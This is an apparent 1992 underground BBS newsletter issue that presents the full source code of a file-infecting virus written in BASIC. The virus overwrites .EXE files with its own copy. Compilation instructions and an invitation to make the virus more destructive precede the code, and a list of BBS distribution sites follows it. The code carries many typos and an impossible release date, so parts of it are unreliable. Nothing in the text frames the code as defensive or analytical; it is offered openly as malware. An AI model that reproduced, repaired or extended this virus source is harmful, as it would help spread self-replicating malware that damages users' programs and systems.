99 lines
4.2 KiB
Plaintext
99 lines
4.2 KiB
Plaintext
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û Û Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
|
º Vaginal and Anal Secretions Newsletter #0038 º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º Date Released : [06/31/92] Author: The Smurfs (PROBE-X) º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º A Basic Virus... º
|
|
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
|
|
|
|
Well, here's a basic virus.. Nothing complex, very (very) BASIC. It attaches
|
|
itself to .EXE's and is non-destructive so non-programmers don't fuck around
|
|
and mess up shit. It should run under GW-BASIC, and it works in QuickBASIC.
|
|
Remember the length of the compiled and linked .EXE file and edit the source
|
|
code to place the length of the object program in LENGHTVIR varible. BV3.EXE
|
|
should be in the current directory,COMMAND.COM must be avilable (SHELL=) and
|
|
remember to use the /e switch when compiling. Anybody with BASIC knowledge
|
|
can make this a major fucker.
|
|
|
|
10 ON ERROR GOTO 670
|
|
20 REM *** A BASIC VIRUS ***
|
|
30 REN *** IF BASIC STINKS ***
|
|
40 REM *** THEN RUN THIS ***
|
|
50 REM *** HAHHAHAHAHAHA ***
|
|
60 REM *** LENGHTVIR MUST BE SET ***
|
|
70 REM *** TO THE LENGHT TO THE ***
|
|
80 REM *** LINKED PROGRAM ***
|
|
90 LENGHTVIR=9999
|
|
100 VIRROOT$="BV3.EXE"
|
|
110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
|
|
130 SHELL "DIR *.EXE>>INH"
|
|
140 REM ** OPEN "INH" FILE AND READ NAMES **
|
|
150 OPEN "R",1,"INH",32000
|
|
160 GET #1,1
|
|
170 LINE INPUT#1,ORIGINAL$
|
|
180 LINE INPUT#1,ORIGINAL$
|
|
190 LINE INPUT#1,ORIGINAL$
|
|
200 LINE INPUT#1,ORIGINAL$
|
|
210 ON ERROR GOT 670
|
|
220 CLOSE#2
|
|
230 F=1:LINE INPUT#1,ORIGINAL$
|
|
240 REM ** "%" IS THE MARKER OF THE BV3
|
|
250 REM ** "%" IN THE NAME MEANS
|
|
260 REM ** INFECTED COPY PRESENT
|
|
270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
|
|
280 ORIGINAL$=MID$(ORIGINAL$,1,13)
|
|
290 EXTENSIONS$=MID$(ORIGINAL,9,13)
|
|
300 MID$(EXTENSIONS$,1,1)="."
|
|
310 REM *** CONCATENATE NAMES INTO FILENAMES **
|
|
320 F=F+1
|
|
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN 350
|
|
340 GOTO 320
|
|
350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
|
|
360 ON ERROR GOTO 210
|
|
365 TEST$=""
|
|
370 REM ++ OPEN FILE FOUND +++
|
|
380 OPEN "R",2,OROGINAL$,LENGHTVIR
|
|
390 IF LOF(2) < LENGHTVIR THEN GOTO 420
|
|
400 GET #2,2
|
|
410 LINE INPUT#1,TEST$
|
|
420 CLOSE#2
|
|
431 REM ++ CHECK IF PROGRAM IS ILL ++
|
|
440 REM ++ "%" AT THE END OF THE FILE MEANS..
|
|
450 REM ++ FILE IS ALREADY SICK ++
|
|
460 REM IF MID$(TEST,2,1)="%" THEN 210
|
|
470 CLOSE#1
|
|
480 ORIGINALS$=ORIGINAL$
|
|
490 MID$(ORIGINALS$,1,1)="%"
|
|
499 REM ++++ SANE "HEALTHY" PROGRAM ++++
|
|
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
|
|
520 SHELL C$
|
|
530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
|
|
540 C$="COPY "+VIRROOT$+ORIGINAL$
|
|
550 SHELL C$
|
|
560 REM *** APPEND VIRUS MARKER ***
|
|
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
|
|
580 WRITE#1,ORIGINALS$
|
|
590 CLOSE#1
|
|
630 REM ++ OUYPUT MESSAGE ++
|
|
640 PRINT "Internal error in " ;ORIGIANAL$
|
|
650 SYSTEM
|
|
660 REM ** VIRUS ERROR MESSAGE
|
|
670 PRINT "*** GOTCHA! ***":SYSTEM
|
|
680 END
|
|
|
|
ÄÄÄÍÍÍÍÍ[ VaS DiSTRiBuTioN SiTeS ]ÍÍÍÍÍÄÄÄ
|
|
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
º BBS Name Number Baud Sysop Title º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º LiVe WiRE BBS (313)464-1470 14.4 Studmuffin World HQ º
|
|
º PoT BBS (313)462-1906 24oo Phreak_Accident World HQ º
|
|
º TcH BBS (713)373-4031 14.4 One Meg Cacher Dist. #1 º
|
|
º Floating Pancreas (305)551-0311 14.4 Majestic Cockster Dist. #2 º
|
|
º Phantasm III (313)884-2617 14.4 Scavenger Dist. #3 º
|
|
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|